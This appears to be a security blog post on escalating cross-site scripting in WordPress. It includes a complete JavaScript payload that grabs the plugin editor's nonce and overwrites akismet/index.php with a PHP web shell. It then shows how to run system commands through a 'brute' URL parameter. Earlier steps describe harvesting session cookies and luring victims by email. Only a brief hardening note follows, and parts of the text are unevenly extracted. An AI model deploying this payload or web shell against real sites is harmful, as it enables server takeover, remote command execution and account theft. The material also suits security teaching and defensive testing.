Most vulnerability assessments report XSS issues with the impact limited to stealing session cookies and hijacking accounts. In reality, a well executed XSS attack can cause a lot more harm than merely overtaking an account. Of course it depends on what other vulnerabilities are present in the application in the post login pages. Also, depending on the privileges of the user whose session was hijacked, added functionality may be available ready for abuse.
There have been several well documented cases of a XSS leading to larger more impactful attacks. Here are some examples:
- XSS worm by Samy: – https://samy.pl/popular/tech.html
- Apache network compromise starting with a XSS in Atlassian JIRA: – https://blogs.apache.org/infra/entry/apache_org_04_09_2010
- XSS to RCE in Node via process.open() – https://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html
- Find a XSS vulnerability
- Host a collecting server to capture session cookies that will be delivered by your XSS payload
- Send the URL with the XSS payload to a user via email (Reflected XSS) OR
Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page.
- Replay the session cookies to the application and gain access to the victim’s account.
- Explore the application for data/other vulnerabilities.
x=new XMLHttpRequest() p='/wp-admin/plugin-editor.php?' f='file=akismet/index.php' x.open('GET',p+f,0) x.send() $='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f x.open('POST',p+f,1) x.setRequestHeader('Content-Type','application/x-www-form-urlencoded') x.send($)
- Creates a new XMLHttpRequest() object
fhold the complete URL to load
- The file that will be updated is
x.send()are used to specify the type of request and to send the actual request respectively.
$contains the POST data that will be sent.
- For every POST request in WordPress you need the
/ce" value="([^"]*?)"/.exec(x.responseText)extracts the token from the previous response using a regular expression.
- The php shell code is
- A new POST request is created and sent to the server along with appropriate form submit headers.
If an admin navigates to
/wp-admin/plugin-editor.php?file=akismet/index.php , this is what he will see:
To access the shell, navigate to
/wp-content/plugins/akismet/index.php?brute=ls -a . You can now interact and execute operating system commands with the WordPress server using the
brute parameter. To make the output more readable simply use the view-source option of the page.
This attack will obviously not work if the plugin editor is disabled which can be done by placing
define('DISALLOW_FILE_EDIT', true); in the wp-config.php file. You can read more WordPress hardening tips at: https://codex.wordpress.org/Hardening_WordPress (shouts to @anantshri).